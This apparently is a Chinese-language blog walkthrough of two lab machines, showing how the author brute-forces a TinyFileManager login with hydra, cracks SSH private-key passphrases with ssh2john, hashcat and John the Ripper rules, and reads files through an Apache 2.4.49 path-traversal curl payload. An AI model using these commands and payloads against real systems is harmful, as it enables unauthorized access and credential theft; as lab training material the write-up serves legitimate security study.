SSH 私鑰密碼破解

 SSH 私鑰密碼破解


第一台靶機 IP : 192.168.197.201

題目描述 : 通過破解私鑰密碼,使用 SSH 訪問 2222 Port 在用戶 dave 的主目錄中找到該標誌

第一步 rustscan,掃出 22、2222、8080

└─$ rustscan -a 192.168.197.201 --scripts none --ulimit 5000



訪問 8080 網站看看,是 TinyFileManager CMS 系統





先隨便登入送到 Burp Suite 查看是 POST 與帳號密碼欄位是 fm_usr & fm_pwd




透過原廠文件知道預設有 admin & user 兩種帳號,使用 hydra 暴力破解 user 密碼

└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.197.201 -s 8080 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

獲得密碼是 121212



登入網站 user / 121212,看到 id_rsa 私密金鑰,並查看 note.txt




id_rsa 為 private key



點選上圖的 Download 下載回來




另外查看 note.txt 檔案內容如下圖,可以看到有一些密碼列表,跟下方有說明新的密碼政策

 - 3 個數字

 - 1 個大寫字母

 - 1 個特殊符號




先修改剛剛下載回來的 id_rsa 檔案的權限 chmod 600 id_rsa

透過 ssh 指令登入 ssh -i id_rsa -p 2222 dave@192.168.197.201

要求輸入密碼,使用 note.txt 裡面的密碼試試看,發現都無法過關

看來要破解 private key 的密碼




先用 jth 轉 private key 的 hash 生成 ssh.hash 檔案,指令 ssh2john id_rsa > ssh.hash

hash 開頭為 id_rsa:$sshng$6$16$7059e78a8d3764ea1e8~~~~




透過 hashcat 指令查查看 mode,hashcat -h | grep -i "ssh"
表明 private key 格式又包含 $6$,看來就是 mode 22921



查找線上網站 https://hashcat.net/wiki/doku.php?id=example_hashes 如下圖




由於剛剛的密碼無法過關加上有看到密碼原則的新規定

所以我們先將 note.txt 拿到的密碼複製下來存成一個檔案取名為 ssh.passwords







然後依據新密碼規定原則創建一個 rule 如下

 - 3 個數字 --> 依據 note.txt 我們使用 137 來當作數字,這是因為人的習慣問題

 - 1 個大寫字母 --> 使用參數 c 修改第一個字母為大寫,這也是人的習慣問題

 - 1 個特殊符號 --> 這裡使用三種特殊符號 !、@、#,所以共三行變異密碼表




另外記得原有的 ssh.hash 開頭的 id_rsa: 要拿掉讓 hash 檔案內容開頭如下符合 mode



直接 hashcat 破解 hash,指令 hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force

結果 GG,竟然報錯 

Hashfile 'ssh.hash' on line 1 ($sshng...cfeadfb412288b183df308632$16$486): Token length exception

錯誤表明 Token 長度異常




上網 Google 了一下錯誤訊息,參考這個 https://hashcat.net/forum/thread-10662.html

表明 aes-256-ctr mode isn't supported yet by mode 22921

hashcat 工具無法處理那就換個工具吧,改用開膛手約翰 JtR

所以現在要換工具,但不同工具使用的 rule 規則不同,現在要編寫一個 JtR 可以使用的 rule

JtR 使用的 rule 一定要存到設定檔中,設定檔路徑  /etc/john/john.conf

另外規則 rule 要寫明 “List.Rules” 於規則檔案開頭,編寫完成的新規則內容如下

該 rule 在 john 工具中使用的名稱就稱為 sshRules



使用 sh -c 指令去 cat rule 然後寫入到 john.conf 之中

指令 : sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'



cat /etc/john/john.conf 可以看到規則寫入到設定檔的最下面了




JtR,john 的規則設定完成,那就直接破解 hash 看看吧

指令 john --wordlist=ssh.passwords --rules=sshRules ssh.hash

 --wordlist : 字典檔

--rules : 要套用的規則

很快的破解出來了,密碼是 Umbrella137!



那就重新透過 ssh 指令登入 ssh -i id_rsa -p 2222 dave@192.168.197.201

然後輸入密碼 Umbrella137!,成功登入後獲取 flag.txt 吧












第二台靶機 IP : 192.168.197.201

除了告知從 2222 Port 登入外沒有其他任何資訊,第一步一樣先 rustscan

22、80、2222




網站打開如下,甚麼都沒有




下一步看看 Page Source 找到使用者帳號為 alfred





nmap 看看版本 └─$ sudo nmap -sV -sC -p 22,80,2222 192.168.197.201
80 Port 標準的 Apache 2.4.49 目錄遍歷攻擊網站




查找 searchsploit └─$ searchsploit apache 2.4.49 path




查看 50383 內容如下,請你直接帶 curl 進去
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done





帶入語法中的 curl 如下
└─$ curl -s --path-as-is "192.168.197.201/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/alfred/.ssh/id_rsa"
就拿到 private key 了



ssh2john private.key > ssh.hash 將 Private Key Hash 導出
然後一樣記得 vi 修改將頭去掉,接著 hascat 下去發現一樣的錯誤訊息 Token Length 不對
所以一樣改 john,只是這一次的密碼檔直接使用 rockyou.txt
然後 rule 使用跟上一個一樣來破解
密碼出來了 Superstar137!







ssh 進去拿 flag 吧



其實知道 flag 的名稱是 123_flag.txt,直接 curl 就可以拿到了,如下指令
curl -s --path-as-is "192.168.197.201/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/alfred/123_flag.txt"



不知道檔案名稱是甚麼可以用 exploitDB 的 poc 檔案直接 ls 看一下也知道






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)